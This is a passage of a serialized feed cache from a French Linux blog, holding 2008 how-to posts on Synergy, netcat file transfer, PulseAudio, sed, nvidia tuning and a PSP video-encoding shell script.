";s:7:"dateiso";s:15:"20081215_204700";}s:15:"20081213_084100";a:7:{s:5:"title";s:50:"NewsFox : plug-in Firefox agrégateur de flux RSS";s:4:"link";s:76:"http://blog.rom1v.com/2008/12/newsfox-plug-in-firefox-agregateur-de-flux-rss";s:4:"guid";s:76:"http://blog.rom1v.com/2008/12/newsfox-plug-in-firefox-agregateur-de-flux-rss";s:7:"pubDate";s:25:"2008-12-13T08:41:00+01:00";s:11:"description";s:0:"";s:7:"content";s:1338:"

J’imagine que, comme moi, beaucoup ne peuvent plus se passer des flux RSS. Vous êtes d’ailleurs certainement en train de lire ce billet dans votre agrégateur de flux, qui permet de facilement parcourir les flux de différentes sources.

J’utilisais liferea, qui était très sympa. Cependant, des petits problèmes m’agaçaient, en particulier un bug aléatoire qui utilise le CPU à 100%. De plus, avoir l’agrégateur séparé du navigateur est un peu gênant. J’ai donc décidé d’en changer pour un agrégateur intégré au navigateur (en plug-in Firefox).

Après en avoir testé plusieurs (ce n’est pas le choix qui manque), je voudrais vous présenter celui que j’ai découvert cette semaine, qui me donne entière satisfaction : NewsFox.

Une fois installé, il rajoute une icône dans la barre principale, qui permet d’ouvrir un onglet contenant NewsFox :

newsfox

Pour l’installer, il suffit de se rendre sur cette page.

J’ai pu importer ma liste de flux exportée de liferea (au format OPML, le “standard” des listes de flux RSS), ce qui facilite beaucoup la migration.

";s:7:"dateiso";s:15:"20081213_084100";}s:15:"20081125_211000";a:7:{s:5:"title";s:75:"Synergy : contrôlez plusieurs PC avec une seule souris et un seul clavier";s:4:"link";s:101:"http://blog.rom1v.com/2008/11/synergy-controlez-plusieurs-pc-avec-une-seule-souris-et-un-seul-clavier";s:4:"guid";s:101:"http://blog.rom1v.com/2008/11/synergy-controlez-plusieurs-pc-avec-une-seule-souris-et-un-seul-clavier";s:7:"pubDate";s:25:"2008-11-25T21:10:00+01:00";s:11:"description";s:0:"";s:7:"content";s:6856:"

Synergy est un outil permettant de contrôler plusieurs ordinateurs avec un seul clavier et une seule souris. De plus, il permet de partager le presse-papier : pratique pour copier-coller d’un ordinateur à l’autre ! Mais en plus, c’est super simple !

Il y a un serveur et n clients. C’est le serveur qui possède le clavier et la souris.

puls_synergy

Tout d’abord, sur chacun des postes, il faut installer le paquet synergy

Ensuite, sur le serveur, il faut créer un fichier de configuration ~/.synergy.conf, extrêmement simple :

section: screens
   rom-laptop:
   rom-desktop:
end
section: links
   rom-desktop:
       left = rom-laptop
   rom-laptop:
       right = rom-desktop
end

Ici, rom-laptop est mon portable (le serveur) et rom-desktop est mon fixe (le client). C’est le nom de la machine, que l’on peut connaître avec :

echo $HOSTNAME

La section screen définit la liste des machines, et la section links définit leur position relative.

Ensuite, côté serveur, on tape :

synergys

Et sur chaque client :

synergyc ip_du_serveur

Les clients peuvent être lancés avant le serveur, ils vont tenter de se reconnecter 1 seconde après, puis 3 secondes après, puis 5, puis 15, puis 30 et enfin toutes les minutes. Ils survivent à la déconnexion du serveur, et tentent de se reconnecter en suivant la même règle.

Pour arrêter la connexion, sur le serveur :

killall synergys

et sur les clients :

killall synergyc

Pour aller plus loin

Éviter le changement d’écran involontaire

Après quelques minutes d’utilisation, on se rend compte que lorsqu’on est sur le PC de gauche, et qu’on va à la droite de l’écran (pour déplacer la scrollbar de Firefox en plein écran par exemple), on se retrouve involontairement sur l’écran de droite, c’est très embêtant. Mais c’est très facile d’y remédier, il suffit d’ajouter l’option :

section: options
    switchDoubleTap = 400
end

Cela permet de ne changer d’écran qu’en cas de double-contact en moins de 400ms avec le bord de l’écran.

Démarrer automatiquement

Sous Gnome (à adapter pour les autres environnements), il suffit de rajouter au fichier ~/.gnomerc la commande du serveur ou du client selon le cas.

Pour le serveur :

echo 'synergys' >> ~/.gnomerc

Pour le client :

echo 'synergyc ip_du_serveur' >> ~/.gnomerc

Décaler les écrans

Deux écrans côte à côte ne sont pas forcément alignés et ils n’ont pas forcément la même hauteur. Par exemple l’écran de mon fixe est un 5:4 et il est un peu surélevé, celui de mon portable est un 16:10 et il est plus bas.

Pourtant, quand je déplace la souris d’un écran à l’autre, je voudrais que la souris reste à la même hauteur. Aucun problème, on peut passer des arguments (start,end), exprimés en pourcentage de l’écran, entre 0 et 100 inclus :

section: screens
    rom-laptop:
    rom-desktop:
end
section: links
    rom-desktop:
        left(35,100) = rom-laptop(0,85)
    rom-laptop:
        right(0,85) = rom-desktop(35,100)
end
section: options
    switchDoubleTap = 400
end

Ici, la partie supérieure de mon portable ([0%;85%]) est en face de la partie basse de mon fixe ([35%;100%]).

Remarque : la relation n’a pas besoin d’être symétrique, mais c’est plus logique qu’elle le soit :)

Démarrer chacun des clients à distance

Si l’on ne veut pas démarrer synergy au démarrage du système, on souhaiterait pouvoir le faire rapidement sans passer sur chacun des PC pour exécuter une commande. Avec une connexion SSH correctement configurée (par clés de préférence), on peut automatiser le lancement de tous les clients :

synergys
ssh rom-desktop synergyc rom-laptop
ssh un-autre-pc synergyc rom-laptop

(rom-laptop est défini dans /etc/hosts)

Sécuriser la connexion

Synergy ne chiffre pas les communications, donc tout passe en clair sur le réseau (enfin, du moins pour ceux qui connaissent la clé WPA de votre réseau, si vous êtes en wifi).

Pour chiffrer, il suffit de ne faire écouter le serveur que sur localhost et de faire passer la connexion dans un tunnel SSH.

Pour limiter à localhost :

synergys -f -a localhost

Pour cela, ouvrir un tunnel du serveur vers chacun des clients :

ssh client -CvR24800:localhost:24800 synergyc -f localhost

Ou, à l’inverse, ouvrir un tunnel de chacun des clients vers le serveur :

ssh server -CNvL24800:localhost:24800
synergyc -f localhost

Ce qui est embêtant, c’est qu’il faut déchiffrer la clé privée, ce qui est problématique pour démarrer synergy au démarrage du système.

Un grand merci à Génération Linux qui m’a fait découvrir cet outil maintenant indispensable.

";s:7:"dateiso";s:15:"20081125_211000";}s:15:"20081115_095100";a:7:{s:5:"title";s:42:"Ubuntu et hotmail : abandonnez hotmail !";s:4:"link";s:66:"http://blog.rom1v.com/2008/11/ubuntu-et-hotmail-abandonnez-hotmail";s:4:"guid";s:66:"http://blog.rom1v.com/2008/11/ubuntu-et-hotmail-abandonnez-hotmail";s:7:"pubDate";s:25:"2008-11-15T09:51:00+01:00";s:11:"description";s:0:"";s:7:"content";s:2945:"

De nombreuses personnes ont rapporté des problèmes avec l’utilisation du webmail hotmail ces derniers jours. En effet, la zone de texte réservée à l’écriture du message ne fonctionne pas.

Avant de vous présenter la solution pour contourner le problème, je voudrais vous proposer d’utiliser un compte de messagerie autre qu’hotmail pour vos mails.

Pourquoi? Parce que ce service ne vous propose même pas le minimum : pas d’accès POP3, et encore moins IMAP. Concrètement, cela signifie que vous n’êtes pas libres de consulter vos mails dans un logiciel de messagerie quelconque, ceci afin de mettre en avant Windows Live Mail et Outlook (à moins d’utiliser des plugins plus ou moins performants qui font croire à hotmail que vous y accédez par un navigateur web).

Abandonner votre mail hotmail ne vous empêche pas de conserver votre adresse pour utiliser MSN Messenger.

Évidemment, changer de compte e-mail ne se fait pas du jour au lendemain, mais le temps que vos contacts prennent connaissance de votre nouvelle adresse, il est possible de mettre en place une redirection : sur hotmail, cliquez sur Options → Autres options → Transfert du courrier vers un autre compte de messagerie, et indiquez votre nouvelle adresse. Ainsi, tous les mails qui vous seront envoyés sur votre adresse hotmail seront redirigés vers votre nouvelle adresse.

Rectification : hotmail ne souhaitant pas que ses utilisateurs quittent l’écosystème Microsoft, il n’est possible de rediriger que sur une adresse se terminant par @hotmail.com, @hotmail.fr, @msn.com ou @live.com. Heureusement que tous les fournisseurs de services n’ont pas la même politique, il est grand temps d’utiliser un service qui respecte un peu plus vos libertés d’action !

Personnellement, j’utilise gmail, car il propose un accès IMAP et une grande capacité de stockage. Cette adresse gmail peut également être utilisée comme adresse de messagerie instantanée jabber.

Bon, revenons au problème d’édition de mails sous Ubuntu, au cas où vous voudriez à tout prix conserver votre adresse e-mail hotmail. Pour contourner le problème, il suffit de ne pas indiquer qu’on utilise Ubuntu. Pour cela, dans Firefox, tapez about:config dans la barre d’adresse, cherchez la ligne general.useragent.vendor, double-cliquez dessus, et supprimez le texte “Ubuntu”.

Et là magie, hotmail refonctionne correctement, comme sous Windows.

";s:7:"dateiso";s:15:"20081115_095100";}s:15:"20081111_110600";a:7:{s:5:"title";s:39:"netcat : communication primaire en TCP";s:4:"link";s:66:"http://blog.rom1v.com/2008/11/netcat-communication-primaire-en-tcp";s:4:"guid";s:66:"http://blog.rom1v.com/2008/11/netcat-communication-primaire-en-tcp";s:7:"pubDate";s:25:"2008-11-11T11:06:00+01:00";s:11:"description";s:0:"";s:7:"content";s:1440:"

Comment envoyer un bout de texte d’un pc à l’autre? Ou même un fichier?

Il y a plein de méthodes, mais parfois la plus rudimentaire fonctionne très bien : écrire directement en TCP !

Pour cela, sur un pc (192.168.0.1 par exemple), faites :

nc -l 1234

-l veut dire listen (ça veut dire qu’on lance un serveur) -p 1234 précise le port, choisissez ce que vous voulez

Sur un autre pc :

nc 192.168.0.1 1234

Et ça y’est, vous avez un tuyau de communication bidirectionnel, pratique pour faire des copiers-collers d’un ordinateur à l’autre. Si vous ouvrez le port correspondant sur votre routeur, ça marche aussi sur internet, bien évidemment.

L’avantage c’est que nc (ou netcat) est installé par défaut.

On peut aussi transférer des fichiers :

nc -l -p 1234 > monfichier
nc 192.168.0.1 1234 < unfichier

(terminer par Ctrl+C)

";s:7:"dateiso";s:15:"20081111_110600";}s:15:"20081108_153000";a:7:{s:5:"title";s:52:"Partager sa musique sur réseau local avec Rhythmbox";s:4:"link";s:81:"http://blog.rom1v.com/2008/11/partager-sa-musique-sur-reseau-local-avec-rhythmbox";s:4:"guid";s:81:"http://blog.rom1v.com/2008/11/partager-sa-musique-sur-reseau-local-avec-rhythmbox";s:7:"pubDate";s:25:"2008-11-08T15:30:00+01:00";s:11:"description";s:0:"";s:7:"content";s:1114:"

Si vous avez plusieurs ordinateurs chez vous, il y a des dizaines de moyens de partager votre musique sur votre réseau local.

En voici une très simple, grâce à Rhythmbox (le lecteur par défaut d’Ubuntu).

Pour activer le partage, dans Édition → Greffons, il suffit d’activer Partage de musique DAAP (cette case est déjà activée par défaut dans Ubuntu 8.10), de cliquer sur Configurer, et d’activer Partager ma musique.

rhythmbox-enable-share

rhythmbox-share-dialog

Vous obtiendrez une nouvelle entrée dans le menu de gauche de Rhythmbox, et vous pourrez lire directement toute la musique se trouvant sur un autre ordinateur :

rhythmbox-share

Rhythmbox doit resté ouvert sur l’ordinateur “serveur”.

";s:7:"dateiso";s:15:"20081108_153000";}s:15:"20081029_173700";a:7:{s:5:"title";s:49:"pspxconv : script d'encodage de vidéos pour PSP";s:4:"link";s:74:"http://blog.rom1v.com/2008/10/pspxconv-script-dencodage-de-videos-pour-psp";s:4:"guid";s:74:"http://blog.rom1v.com/2008/10/pspxconv-script-dencodage-de-videos-pour-psp";s:7:"pubDate";s:25:"2008-10-29T17:37:00+01:00";s:11:"description";s:0:"";s:7:"content";s:22327:"

J’ai récemment acheté une PSP, et je voulais pouvoir encoder mes vidéos facilement, avec les réglages que je voulais. J’ai donc écrit un script.

Il s’utilise comme ceci :

pspxconv fichier.avi fichier.mp4 500

si l’on veut convertir un .avi en .mp4 lisible par la PSP avec un bitrate vidéo de 500Kbps (pour l’instant le bitrate audio est fixé à 96).

Il est également possible de définir une qualité constante plutôt qu’un bitrate moyen (préférable pour -hurry et -afap) :

pspxconv fichier.avi fichier.mp4 q20 -hurry

Plusieurs presets de qualité sont disponibles :

On peut aussi rajouter des options de mencoder :

pspxconv fichier.avi fichier.mp4 500 -std -ss 10 -endpos 100

n’encodera que de 10s à 110s.

pspxconv fichier.avi fichier.mp4 500 -std -audiofile fichier.mp3

encodera la vidéo .avi en utilisant la bande son .mp3.

Ce qu’il reste à améliorer (votre aide est la bienvenue) :

Voici le script :

#!/bin/sh
# pspxconv : video encoding script for PSP
#
# 28th october 2008 - Romain Vimont (®om)
#
# v0.4 (25th june 2009)
#
# Converts input video and audio to mp4 { x264|mpeg4 + faac }, accepted by PSP.
#
# Syntax:
#   pspxconv input_file output_mp4 video_bitrate [quality_preset]
#     [mencoder_options [...]]
#
# video_bitrate can be an integer, or can define a quantifier if it starts
#   with q : q19.5 for example.
#
# quality_preset must be one of :
#   -afap : as fast as possible (poor quality mpeg4, 1 pass, fastest)
#   -hurry : (default) quite fast (poor quality, x264, 1 pass, fast)
#   -std :  standard quality (good quality, normal)
#   -hq  : high quality (very good quality, slow)
#   -vhq : very high quality (best quality, very slow)
#
# mencoder_options are appended to command line of mencoder call.
# For example :
#   -ss 10 -endpos 56 : trim the video from 10s to 66s.
#
# (of course, there are no options -afap, -hurry, -std, -hq nor -vhq)
#

# Syntax error detected.
# Exits the program with return code 1.
syntax_error() {
    printf '%s%s\n' "Syntaxe : $0 input_file output_mp4 video_bitrate " \
      '[quality_preset] [mencoder_options [...]]' >&2
    exit 1
}

# Indicates whether the argument represents an integer.
#
# $1: value to test
# return: the integer if the argument represents an integer, an empty string if
#   it doesn't
is_integer() {
    local value="$1"
    printf %s "$1" | grep -o '^[[:digit:]]\+$'
}

# Returns the quantification value if the bitrate represents such a value.
#
# $1: value to test
# return: the value if the argument represents a quantifier, an empty string if
#   it doesn't
get_q_value() {
    local value="$1"
    printf %s "$1" | grep -o '^q[[:digit:]]\+\(\.[[:digit:]]\+\)\?$' | cut -c2-
}

# Gets a unique id, based on the clock (seconds + nanoseconds).
# 
# return: unique id
uid() {
    date +'%s%N'
}

# Indicates whether the encoder must use x264 codec.
#
# $1: preset
# return: 'yes' if it must use it, nothing otherwise
use_x264() {
    local preset="$1"
    if [ "$preset" != '-afap' ]
    then
        printf 'yes'
    fi
}

# Returns the x264opts command line arguments for the selected preset.
#
# $1: preset
# return: command line arguments
x264_preset() {
    local preset="$1"
    local common='global_header:threads=auto'
#vbv_maxrate=1536:vbv_bufsize=2000:level_idc=30
    local common_q="$common:bframes=1:b_adapt:b_pyramid:weight_b:trellis=2"
    local q_value=$(get_q_value "$q")
    if [ "$q_value" ]
    then
        printf "crf=$q_value:"
    else
        printf "bitrate=$q:"
    fi
    case "$preset" in
    '-hurry') printf "$common:me=dia:subq=1" ;;
    '-std')  printf "$common_q" ;;
    '-hq')   printf "$common_q:me=umh:subq=6" ;;
    '-vhq')  printf "$common_q:me=esa:subq=7" ;;
    esac
}

# Returns the lavcopts command line arguments for the selected preset.
#
# return: command line arguments
mpeg4_preset() {
    local q_value=$(get_q_value "$q" | sed 's/\..*$//')
    if [ "$q_value" ]
    then
        printf "vqscale=$q_value:"
    else
        printf "vbitrate=$q:"
    fi
    printf 'aglobal=1:vglobal=1'
}

# Indicates whether the preset needs 2 passes.
#
# $1: preset
# return: '2' if the selected preset have 2 passes, nothing otherwise
two_passes_preset() {
    local preset="$1"
    if [ "$preset" != '-afap' -a "$preset" != '-hurry' ]
    then
        printf 2
    fi
}

# Indicates the scale selected for the preset.
#
# $1: preset
# return: width:height scaling
scale_preset() {
    local preset="$1"
    case "$preset" in
    '-afap')  printf 'dsize=320:240:0:16,scale=0:0' ;;
    *)        printf 'dsize=480:272:0:16,scale=0:0'
    esac
}

# error when less than 3 arguments
[ $# -ge 3 ] || syntax_error

# reads the arguments
in="$1"; shift
out="$1"; shift
q="$1"; shift


# audio bitrate
ab=96

# input file must exist
if [ ! -f "$in" ]
then
    printf '%s\n' "Input file doesn't exist : $in" >&2
    exit 2
fi

# bitrate value must be integer or quantifier
if [ ! "$(is_integer "$q")" -a ! "$(get_q_value "$q")" ]
then
    printf '%s\n' "Bitrate value must be integer : $bitrate" >&2
    exit 3
fi

# gets a unique filename, in order to avoid collisions when encoding two video
# at the same time
uid=$(uid)
tmp_log=$(printf '%s' "/tmp/$uid.log")

# chooses the quality preset
quality='-hurry'
if [ "$1" = '-afap' -o "$1" = '-hurry' -o "$1" = '-std' -o "$1" = '-hq' \
  -o "$1" = '-vhq' ]
then
    quality="$1"
    shift
fi

vf=$(scale_preset "$quality")

if [ $(use_x264 "$quality") ]
then
    # gets the x264 options
    opts=$(x264_preset $quality)
    if [ $(two_passes_preset "$quality") ]
    then
        # encodes the first pass
        mencoder "$in" -o /dev/null -of lavf -lavfopts format=mp4 -passlogfile \
        "$tmp_log" -ovc x264 -x264encopts "$opts:pass=1" \
        -vf "$vf" -nosound $@ &&

        # encodes the second pass
        mencoder "$in" -o "$out" -of lavf -lavfopts format=mp4 -passlogfile \
        "$tmp_log" -ovc x264 -x264encopts "$opts:pass=2" \
        -vf "$vf" -oac faac \
        -faacopts br=$ab:raw=yes:object=2 $@ &&

        exit 0
    else
        # encodes the unique pass
        mencoder "$in" -o "$out" -of lavf -lavfopts format=mp4 -passlogfile \
        "$tmp_log" -ovc x264 -x264encopts "$opts" \
        -vf "$vf" -oac faac \
        -faacopts br=$ab:raw=yes:object=2 $@ &&

        exit 0
    fi
else
    # encodes the unique pass
    mencoder "$in" -o "$out" -of lavf -lavfopts format=mp4 -passlogfile \
    "$tmp_log" -ovc lavc -lavcopts $(mpeg4_preset) -vf "$vf" -oac faac \
    -faacopts br=$ab:raw=yes:object=2 $@ &&

    exit 0
fi
";s:7:"dateiso";s:15:"20081029_173700";}s:15:"20081011_111800";a:7:{s:5:"title";s:54:"pastebinit : postez vos fichiers en ligne de commande";s:4:"link";s:81:"http://blog.rom1v.com/2008/10/pastebinit-postez-vos-fichiers-en-ligne-de-commande";s:4:"guid";s:81:"http://blog.rom1v.com/2008/10/pastebinit-postez-vos-fichiers-en-ligne-de-commande";s:7:"pubDate";s:25:"2008-10-11T11:18:00+02:00";s:11:"description";s:0:"";s:7:"content";s:1741:"

Ceux qui vont souvent sur IRC connaissent pastebin, qui permet de poster plusieurs lignes (un fichier de config par exemple) sans flooder le chan.

Je me suis dit que ce serait bien de faire un script qui automatise tout cela, pour envoyer son fichier en ligne de commande. Avant de le commencer, je regarde quand même si ça n’existe pas déjà : oui, évidemment, ça existe déjà :)

Il suffit donc d’installer le paquet pastebinit.

Ensuite, l’utilisation est très simple :

pastebinit /etc/X11/xorg.conf

L’utilisateur par défaut est $USER (le nom système de l’utilisateur). Il est possible de le changer :

pastebinit -a 'moi' /etc/X11/xorg.conf

On peut également utiliser la coloration syntaxique :

pastebinit -f bash /usr/bin/compiz

Il est possible de poster l’entrée standard :

pastebinit <<< 'mon premier paste'

Le programme donne en retour le résultat sur la sortie standard. On peut donc ouvrir directement la page dans le navigateur :

xdg-open $(pastebinit /etc/X11/xorg.conf)
";s:7:"dateiso";s:15:"20081011_111800";}s:15:"20081007_132200";a:7:{s:5:"title";s:53:"Améliorer les performances nvidia sous compiz-fusion";s:4:"link";s:82:"http://blog.rom1v.com/2008/10/ameliorer-les-performances-nvidia-sous-compiz-fusion";s:4:"guid";s:82:"http://blog.rom1v.com/2008/10/ameliorer-les-performances-nvidia-sous-compiz-fusion";s:7:"pubDate";s:25:"2008-10-07T13:22:00+02:00";s:11:"description";s:0:"";s:7:"content";s:2657:"

Ce billet s’adresse aux possesseurs de carte graphique nvidia qui utilisent compiz-fusion.

Tout d’abord, pour que compiz prennent en compte les paramètres de nvidia-settings au démarrage (vblank, anti-aliasing, anisotropic…), il faut que la commande nvidia-settings -l soit exécutée avant le lancement de compiz.

Pour cela, j’ai proposé un patch qui consiste à rajouter un fichier dans /etc/X11/Xsession.d, en espérant qu’il soit intégré à la version finale d’Intrepid.

En attendant, le plus simple est de rajouter la ligne dans ~/.gnomerc (créer le fichier s’il n’existe pas) :

nvidia-settings -l

NB: l’anti-aliasing provoque quelques problèmes avec compiz.

Maintenant, que la configuration de nvidia-settings est prise en compte, optimisons les performances.

Pour cela, toujours dans ~/.gnomerc, il faut rajouter la ligne :

nvidia-settings -a InitialPixmapPlacement=2 -a GlyphCache=1

Et dans /etc/X11/xorg.conf, dans la Section "Device" correspondant à la carte graphique, il faut rajouter :

    Option     "PixmapCacheSize" "1000000"
    Option     "AllowSHMPixmaps" "0"

ce qui donne, chez moi :

Section "Device"
    Identifier "Configured Video Device"
    Driver     "nvidia"
    Option     "NoLogo" "True"
    Option     "PixmapCacheSize" "1000000"
    Option     "AllowSHMPixmaps" "0"
EndSection

puis redémarrer le serveur X.

Rassurez-vous, je n’ai pas inventé toutes ces modifications, elles sont fortement recommandées par nvidia, en attendant d’avoir les bonnes valeurs par défaut dans une version future. Plus d’infos ici.

Voici une amélioration directe suite à ces modifications : dans ccsm, si dans le plugin “redimensionner la fenêtre” le mode de redimensionnement est sur l’option “Normal”, les redimensionnements de fenêtres sont très très lents. C’est pour cela que j’utilisais plutôt le mode “Stretch”.

Après les modifications, les performances sont beaucoup plus correctes (ça n’est pas parfait, mais c’est déjà ça).

";s:7:"dateiso";s:15:"20081007_132200";}s:15:"20080930_160300";a:7:{s:5:"title";s:29:"sed : changer de séparateur";s:4:"link";s:55:"http://blog.rom1v.com/2008/09/sed-changer-de-separateur";s:4:"guid";s:55:"http://blog.rom1v.com/2008/09/sed-changer-de-separateur";s:7:"pubDate";s:25:"2008-09-30T16:03:00+02:00";s:11:"description";s:0:"";s:7:"content";s:1876:"

Si vous effectuez quelques traitements simples en ligne de commande, vous connaissez forcément l’outil sed, et plus particulièrement la commande :

sed 's/ancien/récent/'

qui permet de remplacer ancien par récent :

$ sed 's/ancien/récent/' <<< 'ce système est ancien, voire très ancien'
ce système est récent, voire très ancien

Pour remplacer toutes les occurrences, on rajoute un g :

$ sed 's/ancien/récent/g' <<< 'ce système est ancien, voire très ancien'
ce système est récent, voire très récent

Cependant, la syntaxe est assez lourde lorsqu’on veut remplacer des /, par exemple pour remplacer /home/rom/sh/ par /usr/bin/ :

$ sed 's/\/home\/rom\/sh\//\/usr\/bin\//' <<< /home/rom/sh/myscript
/usr/bin/myscript

Heureusement, il est possible de changer le séparateur, et très facilement : c’est simplement le caractère après le s, et on met ce que l’on veut :

$ sed 's:/home/rom/sh:/usr/bin:' <<< /home/rom/sh/myscript
/usr/bin/myscript
$ sed 's|/home/rom/sh|/usr/bin|' <<< /home/rom/sh/myscript
/usr/bin/myscript

(il suffit de backslasher le caractère qui sert de séparateur dans les tokens)

Allez, pour s’amuser :

sed sachagena <<< 'des choux'
sed subucu <<< 'trop bon'
";s:7:"dateiso";s:15:"20080930_160300";}s:15:"20080929_185500";a:7:{s:5:"title";s:55:"PulseAudio et X-forwarding : trouver le serveur de son";s:4:"link";s:82:"http://blog.rom1v.com/2008/09/pulseaudio-et-x-forwarding-trouver-le-serveur-de-son";s:4:"guid";s:82:"http://blog.rom1v.com/2008/09/pulseaudio-et-x-forwarding-trouver-le-serveur-de-son";s:7:"pubDate";s:25:"2008-09-29T18:55:00+02:00";s:11:"description";s:0:"";s:7:"content";s:2271:"

J’avais d’abord présenté comment exécuter un lecteur audio à distance, en ayant son affichage localement (présentation de SSH, chapitre 5).

J’ai ensuite présenté comment rediriger le son vers un autre PC (grâce à PulseAudio).

Le problème, c’est qu’avec PulseAudio, l’exécution d’un lecteur audio à distance avec l’affichage en local ne fonctionne plus : le son ne sort nulle part, même si à l’écran tout a l’air de fonctionner :

ssh monserveur -XC rhythmbox

En effet, la variable d’environnement PULSE_SERVER n’étant pas affectée lors d’un ssh -X, le lecteur ne trouve pas de serveur audio.

La solution propre serait de rajouter une ligne dans ~/.pulse/client.conf :

echo "default-server={$HOSTNAME}unix:/tmp/pulse-$USER/native" >> ~/.pulse/client.conf

Mais un bug de PulseAudio, corrigé dans la version 0.9.12, fait que cette solution ne fonctionne pas. Et malheureusement, cette version ne devrait pas apparaître dans Ubuntu avant la version 9.04.

Une solution consiste donc à l’initialiser lors du lancement du lecteur audio :

ssh monserveur -XC 'PULSE_SERVER="{$HOSTNAME}unix:/tmp/pulse-$USER/native" rhythmbox'

Si vraiment l’on veut éviter d’affecter cette variable à chaque fois manuellement, on peut rajouter à la fin du fichier /etc/ssh/sshd_config la ligne suivante :

PermitUserEnvironment yes

puis, toujours sur le serveur, définir la variable d’environment dans le fichier ~/.ssh/environment :

echo "PULSE_SERVER={$HOSTNAME}unix:/tmp/pulse-$USER/native" >> ~/.ssh/environment

Après avoir redémarré le serveur :

sudo /etc/init.d/ssh restart

il est possible de lancer sur le client :

ssh monserveur -XC rhythmbox

Le son ne sera plus perdu dans une faille de l’espace-temps :-)

";s:7:"dateiso";s:15:"20080929_185500";}s:15:"20080927_203300";a:7:{s:5:"title";s:39:"Thunderbird : mails HTML et texte brut";s:4:"link";s:66:"http://blog.rom1v.com/2008/09/thunderbird-mails-html-et-texte-brut";s:4:"guid";s:66:"http://blog.rom1v.com/2008/09/thunderbird-mails-html-et-texte-brut";s:7:"pubDate";s:25:"2008-09-27T20:33:00+02:00";s:11:"description";s:0:"";s:7:"content";s:1172:"

Il m’arrive souvent (tout le temps?) de vouloir envoyer des mails en texte brut. Mais par défaut, Thunderbird utilise un éditeur supportant le HTML (même si lors de l’envoi il propose d’envoyer le mail en texte brut), et parfois, il change de police (lors de copiers-collers, de citations…) :

thunderbird-police-size

On peut bien sûr désactiver le HTML directement dans l’éditeur, grâce au menu Options → Format → “Texte seulement”, mais il faut le faire à chaque nouveau mail. Pour le faire une fois pour toute, il faut se rendre dans “Paramètres des comptes” :

thunderbird-police-size

Maintenant, lorsqu’on clique sur “Écrire” pour rédiger un nouveau message, il est en texte brut.

Et si exceptionnellement, un jour, on veut envoyer un mail en HTML, il suffit de cliquer sur “Écrire” en maintenant le bouton Shift appuyé :-)

";s:7:"dateiso";s:15:"20080927_203300";}s:15:"20080920_184800";a:7:{s:5:"title";s:41:"Son grésillant : volume PCM à réduire";s:4:"link";s:65:"http://blog.rom1v.com/2008/09/son-gresillant-volume-pcm-a-reduire";s:4:"guid";s:65:"http://blog.rom1v.com/2008/09/son-gresillant-volume-pcm-a-reduire";s:7:"pubDate";s:25:"2008-09-20T18:48:00+02:00";s:11:"description";s:0:"";s:7:"content";s:993:"

Lorsque je lisais de la musique sur mon PC fixe, branché sur l’ampli, le son n’était vraiment pas bon, alors que le même fichier audio sur mon pc portable branché sur l’ampli fonctionnait nickel.

J’ai donc conclu que ma carte son était morte, et je me renseignais pour aller en acheter une nouvelle.

À tout hasard, j’ai regardé la doc ubuntu, et je suis tombé sur :

Veillez à ne pas augmenter PCM à plus de 80 % pour préserver un son d’une bonne qualité.

J’ai donc baissé le volume PCM, monté le son de l’ampli, et le problème a disparu :-)

volume

Pourtant, sur mon PC portable, même avec le volume PCM à 100%, il n’y a aucun problème.

Si vous avez une mauvaise qualité sonore, avant d’investir dans une carte son, pensez à réduire le volume PCM.

";s:7:"dateiso";s:15:"20080920_184800";}s:15:"20080914_130300";a:7:{s:5:"title";s:57:"Utilisez une sortie son d'un autre PC avec Ubuntu 8.04 !";s:4:"link";s:82:"http://blog.rom1v.com/2008/09/utilisez-une-sortie-son-dun-autre-pc-avec-ubuntu-804";s:4:"guid";s:82:"http://blog.rom1v.com/2008/09/utilisez-une-sortie-son-dun-autre-pc-avec-ubuntu-804";s:7:"pubDate";s:25:"2008-09-14T13:03:00+02:00";s:11:"description";s:0:"";s:7:"content";s:3215:"

Dans ma présentation de SSH (au chapitre 5), j’expliquais comment exécuter un lecteur audio à distance, en ayant l’affichage en local. Pour résumer, supposons qu’un PC fixe (qui joue un peu le rôle de serveur) contienne toute notre audiothèque, et soit relié à un ampli. Il peut être pratique de vouloir contrôler cette musique à distance avec le PC portable, tranquillement installé dans le canapé. La redirection de l’affichage du lecteur distant sur le PC local répond à ce problème.

Maintenant, prenons un autre cas de figure : je veux que les sons qui sortent actuellement sur le PC portable soient finalement redirigés vers l’ampli (par exemple le son d’une vidéo lue dans un navigateur).

Ceci est possible grâce au serveur de son PulseAudio intégré à Ubuntu 8.04. Et en plus, c’est très simple à mettre en œuvre.

Tout d’abord, installez le paquet padevchooser à la fois sur le PC serveur et sur le PC client, puis lancez padevchooser en console (ou allez dans le menu Applications → Son et vidéo → PulseAudio Device Chooser) : une icône apparaît alors dans le systray.

Sur le serveur, cliquez sur cette icône, puis “Configure Local Sound Server…”, et dans l’onglet “Multicast/RTP”, activez “Enable Multicast/RTP receiver”. Sur le client, faites de même, sauf que c’est “Enable Multicast/RTP sender” qu’il faut activer. Les deux machines peuvent avoir simultanément le rôle de client et de serveur.

Ensuite, sur le client, cliquez sur l’icône de PulseAudio dans le systray, puis “Volume Control”. Pour chaque flux sortant (ici VLC et Rhythmbox), vous pouvez choisir si le son doit sortir en local ou à distance :

pavc

Le réglage est appliqué “à chaud” (le son change aussitôt de sortie audio).

Il est possible de configurer de manière plus précise, pour choisir sur quelle carte son de quel PC le son doit sortir, ainsi que de définir une sortie son par défaut. Je vous laisse fouiller les préférences :)

Merci à Compte0 qui m’a fait découvrir cette fonctionnalité.

Note : pour que cela fonctionne avec les vidéos Flash, il faut le paquet libflashsupport, en attendant que *Flash* supporte nativement PulseAudio. Attention cependant, il est possible avec ce paquet que des plantages de Firefox surviennent aléatoirement sur des pages contenant du *Flash* ; si cela vous arrive, désinstallez simplement le paquet. Vous pouvez également tester la version RC de Flash Player 10, qui supporte PulseAudio en natif, ou attendre la version 8.10 d’Ubuntu, prévue pour le 30 octobre 2008.

EDIT: Tout fonctionne correctement depuis la version 8.10.

";s:7:"dateiso";s:15:"20080914_130300";}s:15:"20080914_111100";a:7:{s:5:"title";s:42:"LaTeX : hyperref + numérotation = warning";s:4:"link";s:65:"http://blog.rom1v.com/2008/09/latex-hyperref-numerotation-warning";s:4:"guid";s:65:"http://blog.rom1v.com/2008/09/latex-hyperref-numerotation-warning";s:7:"pubDate";s:25:"2008-09-14T11:11:00+02:00";s:11:"description";s:0:"";s:7:"content";s:6696:"

